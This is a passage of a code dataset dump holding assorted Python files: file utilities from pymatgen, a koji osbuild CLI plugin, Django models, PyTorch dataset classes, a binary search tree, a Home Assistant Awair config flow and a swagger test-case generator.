blk_size = min(max_mem, file_size)\n\n buf = \"\"\n m_file.seek(0, 2)\n lastchar = m_file.read(1)\n trailing_newline = (lastchar == \"\\n\")\n\n while 1:\n newline_pos = buf.rfind(\"\\n\")\n pos = m_file.tell()\n if newline_pos != -1:\n # Found a newline\n line = buf[newline_pos + 1:]\n buf = buf[:newline_pos]\n if pos or newline_pos or trailing_newline:\n line += \"\\n\"\n yield line\n elif pos:\n # Need to fill buffer\n toread = min(blk_size, pos)\n m_file.seek(pos - toread, 0)\n buf = m_file.read(toread) + buf\n m_file.seek(pos - toread, 0)\n if pos == toread:\n buf = \"\\n\" + buf\n else:\n # Start-of-file\n return\n\n\nclass FileLockException(Exception):\n \"\"\"Exception raised by FileLock.\"\"\"\n\n\nclass FileLock(object):\n \"\"\"\n A file locking mechanism that has context-manager support so you can use\n it in a with statement. This should be relatively cross-compatible as it\n doesn't rely on msvcrt or fcntl for the locking.\n Taken from http://www.evanfosmark.com/2009/01/cross-platform-file-locking\n -support-in-python/\n \"\"\"\n Error = FileLockException\n\n def __init__(self, file_name, timeout=10, delay=.05):\n \"\"\"\n Prepare the file locker. Specify the file to lock and optionally\n the maximum timeout and the delay between each attempt to lock.\n\n Args:\n file_name:\n Name of file to lock.\n timeout:\n Maximum timeout for locking. Defaults to 10.\n delay:\n Delay between each attempt to lock. Defaults to 0.05.\n \"\"\"\n self.file_name = os.path.abspath(file_name)\n self.lockfile = os.path.abspath(file_name) + \".lock\"\n self.timeout = float(timeout)\n self.delay = float(delay)\n self.is_locked = False\n\n if self.delay > self.timeout or self.delay <= 0 or self.timeout <= 0:\n raise ValueError(\"delay and timeout must be positive with delay \"\n \"<= timeout\")\n\n def acquire(self):\n \"\"\"\n Acquire the lock, if possible. If the lock is in use, it check again\n every `delay` seconds. It does this until it either gets the lock or\n exceeds `timeout` number of seconds, in which case it throws\n an exception.\n \"\"\"\n start_time = time.time()\n while True:\n try:\n self.fd = os.open(self.lockfile,\n os.O_CREAT | os.O_EXCL | os.O_RDWR)\n break\n except (OSError,) as e:\n if e.errno != errno.EEXIST:\n raise\n if (time.time() - start_time) >= self.timeout:\n raise FileLockException(\"%s: Timeout occured.\" %\n self.lockfile)\n time.sleep(self.delay)\n\n self.is_locked = True\n\n def release(self):\n \"\"\" Get rid of the lock by deleting the lockfile.\n When working in a `with` statement, this gets automatically\n called at the end.\n \"\"\"\n if self.is_locked:\n os.close(self.fd)\n os.unlink(self.lockfile)\n self.is_locked = False\n\n def __enter__(self):\n \"\"\"\n Activated when used in the with statement. Should automatically\n acquire a lock to be used in the with block.\n \"\"\"\n if not self.is_locked:\n self.acquire()\n return self\n\n def __exit__(self, type, value, traceback):\n \"\"\"\n Activated at the end of the with statement. It automatically releases\n the lock if it isn't locked.\n \"\"\"\n if self.is_locked:\n self.release()\n\n def __del__(self):\n \"\"\"\n Make sure that the FileLock instance doesn't leave a lockfile\n lying around.\n \"\"\"\n self.release()\n","sub_path":"pymatgen/util/io_utils.py","file_name":"io_utils.py","file_ext":"py","file_size_in_byte":11980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"467146700","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 25 13:10:24 2016\n\n@author: yiyuezhuo\n\"\"\"\n\nimport jinja2\nfrom main2 import fff\n\ndef load_template(fname,tabMap=' '):\n with open(fname,'r',encoding='utf8') as f:\n s=f.read()\n return jinja2.Template(s.replace('\\t',tabMap))\n\ntemplate=load_template('render_template.html')\n\ndef render(record):\n records=[[his['name'],his['id'],his['date']] for his in record['history'] if his['type']=='借书']\n html=template.render(records=records)\n fff(html)","sub_path":"render.py","file_name":"render.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"247256694","text":"'''\r\nCreated on 2016. 9. 28.\r\n\r\n@author: acorn\r\n'''\r\n\r\nimport os \r\n\r\ntry:\r\n f = open(os.getcwd()+'\\\\zipcode.txt', mode = \"r\", encoding= \"utf-8\")\r\n lines = f.readline()\r\n dongList = []\r\n dongListHasAdong = False\r\n while lines:\r\n dongListHasAdong = False\r\n line = lines.split(sep='\\t')\r\n if line[1] ==\"서울\":\r\n line3 = line[3].split(sep=\" \")\r\n isDongorNot = line3[0]\r\n if isDongorNot[-1] == \"동\":\r\n for dong in dongList:\r\n if dong == isDongorNot:\r\n dongListHasAdong = True\r\n if dongListHasAdong == False:\r\n dongList.append(isDongorNot) \r\n lines = f.readline()\r\n \r\n dongList.sort()\r\n print(\"서울전체 동의 개수\",len(dongList))\r\n count = 1\r\n for a in dongList:\r\n print('['+ a +']', end = \"\")\r\n if count%10 == 0:\r\n print('\\n')\r\n count += 1\r\n \r\nexcept FileNotFoundError as e:\r\n print(\"에러\",e)\r\n \r\n","sub_path":"chap06_file/exam02.py","file_name":"exam02.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"389454917","text":"import re\nimport random\nimport numpy as np\nfrom sacremoses import MosesTokenizer\n\n\nclass Punctuation:\n html = re.compile(r''|"')\n punctuation = re.compile(r'[^\\w\\s·]|_')\n spaces = re.compile(r'\\s+')\n ela_geminada = re.compile(r'l · l')\n\n def strip(self, s):\n '''\n Remove all punctuation characters.\n '''\n s = self.html.sub(' ', s)\n s = self.punctuation.sub(' ', s)\n s = self.spaces.sub(' ', s).strip()\n s = self.ela_geminada.sub('l·l', s)\n return s\n\n\nlang = 'ca'\npad_token = ''\nwindow_size = 5\nnsamples = 20000\nleft_window = window_size // 2\nright_window = window_size - left_window - 1\n\ndef create_dataset(year, name):\n mt = MosesTokenizer(lang)\n path = f'/Users/adrian/data/elperiodico/{year}/CAT.txt'\n with open(path, encoding='utf8') as file:\n lines = file.readlines()\n print(lines[0])\n\n perm = np.random.permutation(len(lines))\n punc = Punctuation()\n\n with open(f'x_{name}.csv', 'w') as x_test, open(f'y_{name}.csv', 'w') as y_test:\n context = [f'token{i:+}' for i in range(-left_window, right_window + 1) if i != 0]\n print('id,' + ','.join(context), file=x_test)\n print('id,token', file=y_test)\n ntest = 0\n for index in perm:\n line = lines[index].strip()\n tokenized = mt.tokenize(line, return_str=True)\n tokenized = punc.strip(tokenized).split()\n ntokens = len(tokenized)\n if ntokens > 5:\n token = random.randrange(ntokens)\n context = [tokenized[i] if i < ntokens and i >= 0 else pad_token for i in range(token - left_window, token + right_window + 1) if i != token]\n context = ','.join(context)\n word = tokenized[token]\n print(str(ntest) + ',' + context, file=x_test)\n print(str(ntest) + ',' + word, file=y_test)\n ntest += 1\n if ntest == nsamples:\n break\n\ncreate_dataset(2007, 'valid')\ncreate_dataset(2008, 'test')\n","sub_path":"coursework/utils/elperiodico.py","file_name":"elperiodico.py","file_ext":"py","file_size_in_byte":2072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"156118711","text":"\"\"\"Koji osbuild integration - koji client plugin\n\nThis koji plugin provides a new 'osbuild-image' command for the koji\ncommand line tool. It uses the 'osbuildImage' XMLRPC endpoint, that\nis provided by the koji osbuild plugin for the koji hub.\n\"\"\"\n\n\nfrom pprint import pprint\n\nimport koji\nimport koji_cli.lib as kl\nfrom koji.plugin import export_cli\nfrom koji_cli.lib import _\n\n\ndef parse_args(argv):\n usage = _(\"usage: %prog osbuild-image [options] \"\n \" [ ...]\")\n\n parser = kl.OptionParser(usage=kl.get_usage_str(usage))\n\n parser.add_option(\"--nowait\", action=\"store_false\", dest=\"wait\",\n help=_(\"Don't wait on image creation\"))\n parser.add_option(\"--release\", help=_(\"Forcibly set the release field\"))\n parser.add_option(\"--repo\", action=\"append\",\n help=_(\"Specify a repo that will override the repo used to install \"\n \"RPMs in the image. May be used multiple times. The \"\n \"build tag repo associated with the target is the default.\"))\n parser.add_option(\"--image-type\", metavar=\"TYPE\",\n help='Request an image-type [default: qcow2]',\n type=str, action=\"append\", default=[])\n parser.add_option(\"--wait\", action=\"store_true\",\n help=_(\"Wait on the image creation, even if running in the background\"))\n\n opts, args = parser.parse_args(argv)\n if len(args) < 5:\n parser.error(_(\"At least five arguments are required: a name, \"\n \"a version, a distribution, a build target, \"\n \"and 1 or more architectures.\"))\n\n for i, arg in enumerate((\"name\", \"version\", \"distro\", \"target\")):\n setattr(opts, arg, args[i])\n setattr(opts, \"arch\", args[4:])\n\n return opts\n\n\ndef check_target(session, name: str):\n \"\"\"Check the target with name exists and has a destination tag\"\"\"\n\n target = session.getBuildTarget(name)\n if not target:\n raise koji.GenericError(_(\"Unknown build target: %s\" % name))\n\n tag = session.getTag(target['dest_tag'])\n if not tag:\n raise koji.GenericError(_(\"Unknown destination tag: %s\" %\n target['dest_tag_name']))\n\n\n@export_cli\ndef handle_osbuild_image(options, session, argv):\n \"[build] Build images via osbuild\"\n args = parse_args(argv)\n\n name, version, arch, target = args.name, args.version, args.arch, args.target\n distro, image_types = args.distro, args.image_type\n\n if not image_types:\n image_types = [\"qcow2\"]\n\n opts = {}\n\n if args.release:\n opts[\"release\"] = args.release\n\n if args.repo:\n opts[\"repo\"] = args.repo\n\n # Do some early checks to be able to give quick feedback\n check_target(session, target)\n\n if not options.quiet:\n print(\"name:\", name)\n print(\"version:\", version)\n print(\"distro:\", distro)\n print(\"arches:\", \", \".join(arch))\n print(\"target:\", target)\n print(\"image types \", str(image_types))\n pprint(opts)\n\n kl.activate_session(session, options)\n\n task_id = session.osbuildImage(name, version, distro, image_types, target, arch, opts=opts)\n\n if not options.quiet:\n print(\"Created task: %s\" % task_id)\n print(\"Task info: %s/taskinfo?taskID=%s\" % (options.weburl, task_id))\n\n # pylint: disable=protected-access\n if (args.wait is None and kl._running_in_bg()) or args.wait is False:\n # either running in the background or must not wait by user's\n # request. All done.\n return None\n\n session.logout()\n res = kl.watch_tasks(session, [task_id], quiet=options.quiet)\n\n if res == 0:\n result = session.getTaskResult(task_id)\n print(result)\n return res\n","sub_path":"plugins/cli/osbuild.py","file_name":"osbuild.py","file_ext":"py","file_size_in_byte":3825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"204494520","text":"from tkinter import *\nimport tkinter.ttk as ttk\n\n#propagate-True\nclass LabelFrameSamplePropagateTrue(ttk.Frame):\n def __init__(self, master):\n super().__init__(master)\n self.create_widgets()\n self.pack()\n\n def create_widgets(self):\n labelFrame = ttk.LabelFrame(self,text=\"propagate-True\",labelanchor=\"nw\",width=280,height=180)\n labelFrame.pack()\n labelFrame.propagate(True)\n\n # child-widget\n label = ttk.Label(labelFrame, text =\"propagate true\")\n label.pack()\n button = ttk.Button(labelFrame, text =\"True\")\n button.pack()\n\n# propagate-False\nclass LabelFrameSamplePropagateFalse(ttk.Frame):\n def __init__(self, master):\n super().__init__(master)\n self.create_widgets()\n self.pack()\n\n def create_widgets(self):\n labelFrame = ttk.LabelFrame(self,text=\"propagate-False\",labelanchor=\"nw\",width=280,height=180)\n labelFrame.pack()\n labelFrame.propagate(False)\n label = ttk.Label(labelFrame, text =\"propagate false\")\n label.pack()\n button = ttk.Button(labelFrame, text =\"False\")\n button.pack()\n\n\nif __name__ == '__main__':\n master = Tk()\n master.title(\"LabelFrame-propagate\")\n master.geometry(\"300x300\")\n LabelFrameSamplePropagateTrue(master)\n LabelFrameSamplePropagateFalse(master)\n\n master.mainloop()\n","sub_path":"LabelFrame/labelFrameSample_propagate.py","file_name":"labelFrameSample_propagate.py","file_ext":"py","file_size_in_byte":1374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"475693945","text":"from django.conf import settings\nfrom django.db import models\n\nfrom commons.constants import MAX_LENGTH_DICT\n\n\nclass Group(models.Model):\n \"\"\"\n Model to store group information\n \"\"\"\n name = models.CharField(max_length=MAX_LENGTH_DICT['title'])\n short_desc = models.CharField(max_length=MAX_LENGTH_DICT['short'])\n owner = models.ForeignKey(settings.AUTH_USER_MODEL)\n\n def __unicode__(self):\n return '{}. {}'.format(self.id, self.name)\n\n\nclass GroupUser(models.Model):\n \"\"\"\n Many to many model between group and user.\n \"\"\"\n USER = 0\n ADMIN = 1\n OWNER = 2\n\n USER_TYPE_CHOICES = (\n (USER, 'User'),\n (ADMIN, 'Admin'),\n (OWNER, 'Owner'),\n )\n\n group = models.ForeignKey(Group, related_name='groups')\n user = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='users')\n user_type = models.IntegerField(\n choices=USER_TYPE_CHOICES, default=0)\n\n class Meta:\n unique_together = ('group', 'user')\n\n def __unicode__(self):\n return '{}. {} {} {}'.format(\n self.id,\n self.group_id,\n self.user_id,\n self.user_type\n )\n","sub_path":"social_event_planner/groups/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"563998125","text":"from data.audio import Audio\nfrom data.gaped import GAPED\nfrom data.gaped import GAPED2\nfrom data.lakh import Lakh\nfrom data.pmemo import PMEmo\nimport torch\nfrom torch.utils.data import ConcatDataset\nfrom torch.utils.data import Dataset\nfrom torch.utils.data import DataLoader\n\nclass Composite(Dataset):\n def __init__(self, size=256, image_channels=3, audio_channels=2,\n spectrogram=False, cache=False, shuffle=True,\n validation=False, midi=False, blur=False):\n # Check for valid size\n assert size == 128 or size == 256 or size == 512\n chunks = int(Audio.full_length // Audio.length(size, spectrogram))\n if size == 128:\n train_chunks = int(chunks * 0.9)\n elif size == 256:\n train_chunks = int(chunks * 0.8)\n elif size == 512:\n train_chunks = int(chunks * 0.5)\n val_chunks = chunks - train_chunks\n\n self.midi = midi\n self.blur = blur\n\n # Choose which subset of music to use\n self.gaped = GAPED(size, image_channels, cache=cache,\n validation=validation)\n if midi:\n self.lakh = Lakh(size, 1, cache=cache, validation=validation)\n elif blur:\n self.gaped2 = GAPED2(size, image_channels, cache=cache,\n validation=validation)\n else:\n if validation:\n self.pmemo = ConcatDataset(\n [PMEmo(size, audio_channels, spectrogram, i, cache)\n for i in range(train_chunks, train_chunks + val_chunks)])\n else:\n self.pmemo = ConcatDataset(\n [PMEmo(size, audio_channels, spectrogram, i, cache)\n for i in range(train_chunks)])\n\n # Number of in/out channels for neural network\n self.in_channels = self.gaped.channels\n if midi:\n self.out_channels = self.lakh.channels\n elif blur:\n self.out_channels = self.gaped2.channels\n else:\n self.out_channels = self.pmemo.datasets[0].channels\n\n # Set up loaders and iterators\n self.image_loader = DataLoader(self.gaped, shuffle=shuffle)\n self.image_iter = iter(self.image_loader)\n if midi:\n self.audio_loader = DataLoader(self.lakh, shuffle=shuffle)\n elif blur:\n self.audio_loader = DataLoader(self.gaped2, shuffle=shuffle)\n else:\n self.audio_loader = DataLoader(self.pmemo, shuffle=shuffle)\n self.audio_iter = iter(self.audio_loader)\n\n def __next__(self, iterator, loader):\n try:\n data, emotion = iterator.next()\n except StopIteration:\n iterator = iter(loader)\n data, emotion = iterator.next()\n while data.min() == 0 and data.max() == 0:\n data, emotion = iterator.next()\n data = torch.squeeze(data, 0)\n emotion = torch.squeeze(emotion, 0)\n return (iterator, data, emotion)\n\n def __getitem__(self, i):\n image_tuple = self.__next__(self.image_iter, self.image_loader)\n audio_tuple = self.__next__(self.audio_iter, self.audio_loader)\n\n self.image_iter, image, image_emotion = image_tuple\n self.audio_iter, audio, audio_emotion = audio_tuple\n\n return [image, image_emotion], [audio, audio_emotion]\n\n def __len__(self):\n if self.midi:\n return min(self.gaped.__len__(), self.lakh.__len__())\n elif self.blur:\n return min(self.gaped.__len__(), self.gaped2.__len__())\n else:\n return min(self.gaped.__len__(), self.pmemo.__len__())\n\n# Stack zipped data with emotion\nclass CompositeEmotion(Dataset):\n def __init__(self, size=256, image_channels=3, audio_channels=2,\n spectrogram=False, cache=False, shuffle=True,\n validation=False, midi=False, blur=False):\n self.composite = Composite(size, image_channels, audio_channels,\n spectrogram, cache, shuffle, validation,\n midi, blur)\n self.in_channels = self.composite.in_channels + 4\n self.out_channels = self.composite.out_channels + 4\n\n def __getitem__(self, i):\n image_batch, audio_batch = self.composite.__getitem__(i)\n image, image_emotion = image_batch\n audio, audio_emotion = audio_batch\n image_emotion = image_emotion[:2]\n audio_emotion = audio_emotion[:2]\n shape = [image.shape[2], image.shape[1], image_emotion.shape[0]]\n image_emotion = image_emotion.expand(shape).T\n audio_emotion = audio_emotion.expand(shape).T\n image_emotion += torch.randn(image_emotion.shape) * 1e-9\n audio_emotion += torch.randn(audio_emotion.shape) * 1e-9\n image = torch.cat([image, image_emotion, audio_emotion])\n audio = torch.cat([audio, audio_emotion, image_emotion])\n return [image, []], [audio, []]\n\n def __len__(self):\n return self.composite.__len__()\n\nclass CompositeValence(Composite):\n def __init__(self, size=256, image_channels=3, audio_channels=2,\n cache=False, shuffle=True, validation=False, midi=False,\n positive=True):\n super(CompositeValence, self).__init__(size, image_channels,\n audio_channels, False, cache, shuffle, validation, midi, False)\n\n self.positive = positive\n\n def __next__(self, iterator, loader):\n data = torch.zeros(1)\n positive = not self.positive\n while data.min() == 0 and data.max() == 0 or positive != self.positive:\n try:\n data, emotion = iterator.next()\n except StopIteration:\n iterator = iter(loader)\n data, emotion = iterator.next()\n positive = torch.squeeze(emotion, 0)[1] > 0\n data = torch.squeeze(data, 0)\n emotion = torch.squeeze(emotion, 0)\n return (iterator, data, emotion)\n\n def __len__(self):\n if self.midi:\n return min(self.gaped.__len__(), self.lakh.__len__()) // 2\n else:\n return min(self.gaped.__len__(), self.pmemo.__len__()) // 2\n\nclass CompositePositive(CompositeValence):\n def __init__(self, size=256, image_channels=3, audio_channels=2,\n cache=False, shuffle=True, validation=False, midi=False):\n super(CompositePositive, self).__init__(size, image_channels,\n audio_channels, cache, shuffle, validation, midi, True)\n\n def __next__(self, iterator, loader):\n return super(CompositePositive, self).__next__(iterator, loader)\n\nclass CompositeNegative(CompositeValence):\n def __init__(self, size=256, image_channels=3, audio_channels=2,\n cache=False, shuffle=True, validation=False, midi=False):\n super(CompositeNegative, self).__init__(size, image_channels,\n audio_channels, cache, shuffle, validation, midi, False)\n\n def __next__(self, iterator, loader):\n return super(CompositeNegative, self).__next__(iterator, loader)\n","sub_path":"data/composite.py","file_name":"composite.py","file_ext":"py","file_size_in_byte":7031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"558902257","text":"\"\"\"\nBinary Search Tree implementation - unbalanced\n\"\"\"\n\n\nclass BinarySearchTree:\n \"\"\"\n Implementation Of Binary Search Tree\n \"\"\"\n\n class BSTNode:\n def __init__(self, data):\n self.data = data\n self.left = None\n self.right = None\n\n class FindResult:\n def __init__(self, parent, node):\n self.parent = parent\n self.node = node\n\n def __init__(self, raw_data):\n self.root = None\n for item in raw_data:\n self.insert(item)\n\n def find_tuple(self, data):\n\n current = self.root\n parent = None\n\n while current:\n if current.data == data:\n return BinarySearchTree.FindResult(parent, current)\n\n parent = current\n\n if data < current.data:\n current = current.left\n else:\n current = current.right\n\n return None # not found\n\n def find(self, data):\n\n result = self.find_tuple(data)\n if not result.node:\n return False # expected node not found\n else:\n return True\n\n def insert(self, data):\n if not self.root:\n self.root = BinarySearchTree.BSTNode(data)\n return True\n\n current = self.root\n while current:\n if data > current.data:\n if not current.right:\n current.right = BinarySearchTree.BSTNode(data)\n return True\n else:\n current = current.right\n else:\n if not current.left:\n current.left = BinarySearchTree.BSTNode(data)\n return True\n else:\n current = current.left\n\n def inorder(self):\n flattened_tree = []\n\n return self._inorder(self.root, flattened_tree)\n\n def _inorder(self, curr, flat_tree):\n if not curr:\n return flat_tree\n\n if curr.left:\n flat_tree = self._inorder(curr.left, flat_tree)\n\n flat_tree.append(curr.data)\n\n if curr.right:\n flat_tree = self._inorder(curr.right, flat_tree)\n\n return flat_tree\n\n @staticmethod\n def min(current, parent):\n while current.left:\n parent = current\n current = current.left\n return current, parent\n\n def delete(self, data):\n # Find the node and its parent\n result = self.find_tuple(data)\n\n if not result or not result.node:\n return False\n\n target = result.node\n parent = result.parent\n\n # Deletion the found node\n if not target.left and not target.right:\n # Leaf Node\n self.update_parent(target, parent, None)\n\n elif not target.left:\n # One Child Node left\n self.update_parent(target, parent, target.right)\n\n elif not target.right:\n # One Child Node right\n self.update_parent(target, parent, target.left)\n\n else:\n # case-3: Two Children Node\n min_node, min_parent = self.min(target.right, target)\n target.data = min_node.data\n\n self.update_parent(min_node, min_parent, min_node.right)\n\n return True\n\n def update_parent(self, node, parent, value):\n if not parent:\n self.root = value\n return\n\n if node == parent.left:\n parent.left = value\n else:\n parent.right = value\n","sub_path":"BinaryTree.py","file_name":"BinaryTree.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"55635499","text":"\"\"\"Config flow for Awair.\"\"\"\nfrom __future__ import annotations\n\nfrom python_awair import Awair\nfrom python_awair.exceptions import AuthError, AwairError\nimport voluptuous as vol\n\nfrom homeassistant.config_entries import ConfigFlow\nfrom homeassistant.const import CONF_ACCESS_TOKEN\nfrom homeassistant.helpers.aiohttp_client import async_get_clientsession\n\nfrom .const import DOMAIN, LOGGER\n\n\nclass AwairFlowHandler(ConfigFlow, domain=DOMAIN):\n \"\"\"Config flow for Awair.\"\"\"\n\n VERSION = 1\n\n async def async_step_import(self, conf: dict):\n \"\"\"Import a configuration from config.yaml.\"\"\"\n if self._async_current_entries():\n return self.async_abort(reason=\"already_setup\")\n\n user, error = await self._check_connection(conf[CONF_ACCESS_TOKEN])\n if error is not None:\n return self.async_abort(reason=error)\n\n await self.async_set_unique_id(user.email)\n self._abort_if_unique_id_configured()\n\n return self.async_create_entry(\n title=f\"{user.email} ({user.user_id})\",\n data={CONF_ACCESS_TOKEN: conf[CONF_ACCESS_TOKEN]},\n )\n\n async def async_step_user(self, user_input: dict | None = None):\n \"\"\"Handle a flow initialized by the user.\"\"\"\n errors = {}\n\n if user_input is not None:\n user, error = await self._check_connection(user_input[CONF_ACCESS_TOKEN])\n\n if user is not None:\n await self.async_set_unique_id(user.email)\n self._abort_if_unique_id_configured()\n\n title = f\"{user.email} ({user.user_id})\"\n return self.async_create_entry(title=title, data=user_input)\n\n if error != \"invalid_access_token\":\n return self.async_abort(reason=error)\n\n errors = {CONF_ACCESS_TOKEN: \"invalid_access_token\"}\n\n return self.async_show_form(\n step_id=\"user\",\n data_schema=vol.Schema({vol.Required(CONF_ACCESS_TOKEN): str}),\n errors=errors,\n )\n\n async def async_step_reauth(self, user_input: dict | None = None):\n \"\"\"Handle re-auth if token invalid.\"\"\"\n errors = {}\n\n if user_input is not None:\n access_token = user_input[CONF_ACCESS_TOKEN]\n _, error = await self._check_connection(access_token)\n\n if error is None:\n entry = await self.async_set_unique_id(self.unique_id)\n self.hass.config_entries.async_update_entry(entry, data=user_input)\n return self.async_abort(reason=\"reauth_successful\")\n\n if error != \"invalid_access_token\":\n return self.async_abort(reason=error)\n\n errors = {CONF_ACCESS_TOKEN: error}\n\n return self.async_show_form(\n step_id=\"reauth\",\n data_schema=vol.Schema({vol.Required(CONF_ACCESS_TOKEN): str}),\n errors=errors,\n )\n\n async def _check_connection(self, access_token: str):\n \"\"\"Check the access token is valid.\"\"\"\n session = async_get_clientsession(self.hass)\n awair = Awair(access_token=access_token, session=session)\n\n try:\n user = await awair.user()\n devices = await user.devices()\n if not devices:\n return (None, \"no_devices_found\")\n\n return (user, None)\n\n except AuthError:\n return (None, \"invalid_access_token\")\n except AwairError as err:\n LOGGER.error(\"Unexpected API error: %s\", err)\n return (None, \"unknown\")\n","sub_path":"homeassistant/components/awair/config_flow.py","file_name":"config_flow.py","file_ext":"py","file_size_in_byte":3540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"314243655","text":"import numpy as np\nimport keras\n\nnp.random.seed(70)\n\ndataset = np.loadtxt(\"test.txt\", delimiter=\",\")\n\nprint(dataset)\n\nX = dataset[:, 0]\nY = dataset[:, 1]\n\nprint(X)\nprint(Y)\n\nmodel = keras.Sequential()\nmodel.add(keras.layers.Dense(4, input_dim=1, activation='linear'))\n# model.add(keras.layers.Dense(6, activation='linear'))\nmodel.add(keras.layers.Dense(1, activation='linear'))\n\n\n\nmodel.compile(loss='mae', optimizer='adam', metrics=['mse'])\n\nmodel.fit(X, Y, epochs=1, batch_size=1)\nmodel.fit(X, Y, epochs=100, batch_size=10000)\nmodel.fit(X, Y, epochs=10, batch_size=100000)\nprint(model.predict(\n x=[10e36,10e8,10]\n))","sub_path":"neural/neural2.py","file_name":"neural2.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"593986899","text":"#!/usr/bin/env python3\n\"\"\"\nURLify:\nWrite a method to replace all spaces in a string with '%20: You may assume that\nthe string has sufficient space at the end to hold the additional characters,\nand that you are given the \"true\" length of the string. (Note: If implementing\nin Java, please use a character array so that you can perform this operation in\nplace.)\n\nEXAMPLE\nInput: \"Mr John Smith \", 13\nOutput: \"Mr%20John%20Smith\"\n\"\"\"\nimport unittest\n\n\ndef urlify(string, length):\n url = ''\n for c in string.strip():\n if c == ' ':\n url += '%20'\n else:\n url += c\n return url\n\n\nclass TestURLify(unittest.TestCase):\n\n def test_long_string_with_trailing_spaces(self):\n string = \"Mr John Smith \"\n length = 13\n self.assertEqual(urlify(string, length), \"Mr%20John%20Smith\")\n\n def test_empty_string(self):\n string = ''\n length = 0\n self.assertEqual(urlify(string, length), \"\")\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"Python/chapter01/1.3 - URLify/aucontraire.py","file_name":"aucontraire.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"192450688","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time :\n# @Author :\n# @Site :\n# @File : swagger.py\n# @Software:\n\n\nimport os, requests\nfrom httprunner import logger\nfrom lib.processingJson import write_data, get_json\n\n\nclass AnalysisJson:\n \"\"\"swagger自动生成测试用例\"\"\"\n\n def __init__(self, url):\n self.url = url\n self.interface = {}\n self.case_list = []\n self.tags_list = []\n self.http_suite = {\"config\": {\"name\": \"\", \"base_url\": \"\", \"variables\": {}},\n \"testcases\": []}\n self.http_testcase = {\"name\": \"\", \"testcase\": \"\", \"variables\": {}}\n\n def retrieve_data(self):\n \"\"\"\n 主函数\n :return:\n \"\"\"\n try:\n r = requests.get(self.url + '/v2/api-docs?group=sign-api').json()\n write_data(r, 'data.json')\n # r = get_json('D:\\HttpRunner_framework\\\\testcases\\data.json')\n except Exception as e:\n logger.log_error('请求swagger url 发生错误. 详情原因: {}'.format(e))\n return 'error'\n self.data = r['paths'] # 接口数据\n self.url = 'https://' + r['host']\n self.title = r['info']['title']\n self.http_suite['config']['name'] = self.title\n self.http_suite['config']['base_url'] = self.url\n\n self.definitions = r['definitions'] # body参数\n for tag_dict in r['tags']:\n self.tags_list.append(tag_dict['name'])\n i = 0\n for tag in self.tags_list:\n self.http_suite['testcases'].append({\"name\": \"\", \"testcase\": \"\", \"variables\": {}})\n self.http_suite['testcases'][i]['name'] = tag\n self.http_suite['testcases'][i]['testcase'] = 'testcases/' + tag + '.json'\n i += 1\n\n suite_path = os.path.join(os.path.abspath(os.path.join(os.path.dirname(\"__file__\"), os.path.pardir)),\n 'testsuites')\n testcase_path = os.path.join(suite_path, 'demo_testsuite.json')\n write_data(self.http_suite, testcase_path)\n if isinstance(self.data, dict):\n for tag in self.tags_list:\n self.http_case = {\"config\": {\"name\": \"\", \"base_url\": \"\", \"variables\": {}}, \"teststeps\": []}\n\n for key, value in self.data.items():\n for method in list(value.keys()):\n params = value[method]\n if not params['deprecated']: # 接口是否被弃用\n if params['tags'][0] == tag:\n self.http_case['config']['name'] = params['tags'][0]\n self.http_case['config']['base_url'] = self.url\n case = self.retrieve_params(params, key, method, tag)\n self.http_case['teststeps'].append(case)\n else:\n logger.log_info(\n 'interface path: {}, if name: {}, is deprecated.'.format(key, params['description']))\n break\n api_path = os.path.join(os.path.abspath(os.path.join(os.path.dirname(\"__file__\"), os.path.pardir)),\n 'testcases')\n testcase_path = os.path.join(api_path, tag + '.json')\n write_data(self.http_case, testcase_path)\n\n\n else:\n logger.log_error('解析接口数据异常!url 返回值 paths 中不是字典.')\n return 'error'\n\n def retrieve_params(self, params, api, method, tag):\n \"\"\"\n 解析json,把每个接口数据都加入到一个字典中\n :param params:\n :param params_key:\n :param method:\n :param key:\n :return:\n replace('false', 'False').replace('true', 'True').replace('null','None')\n \"\"\"\n http_interface = {\"name\": \"\", \"variables\": {},\n \"request\": {\"url\": \"\", \"method\": \"\", \"headers\": {}, \"json\": {}, \"params\": {}}, \"validate\": [],\n \"output\": []}\n http_testcase = {\"name\": \"\", \"api\": \"\", \"variables\": {}, \"validate\": [], \"extract\": [], \"output\": []}\n\n name = params['summary'].replace('/', '_')\n http_interface['name'] = name\n http_testcase['name'] = name\n http_testcase['api'] = 'api/{}/{}.json'.format(tag, name)\n http_interface['request']['method'] = method.upper()\n http_interface['request']['url'] = api.replace('{', '$').replace('}', '')\n parameters = params.get('parameters') # 未解析的参数字典\n responses = params.get('responses')\n if not parameters: # 确保参数字典存在\n parameters = {}\n for each in parameters:\n if each.get('in') == 'body': # body 和 query 不会同时出现\n schema = each.get('schema')\n if schema:\n ref = schema.get('$ref')\n if ref:\n param_key = ref.split('/')[-1]\n param = self.definitions[param_key]['properties']\n for key, value in param.items():\n 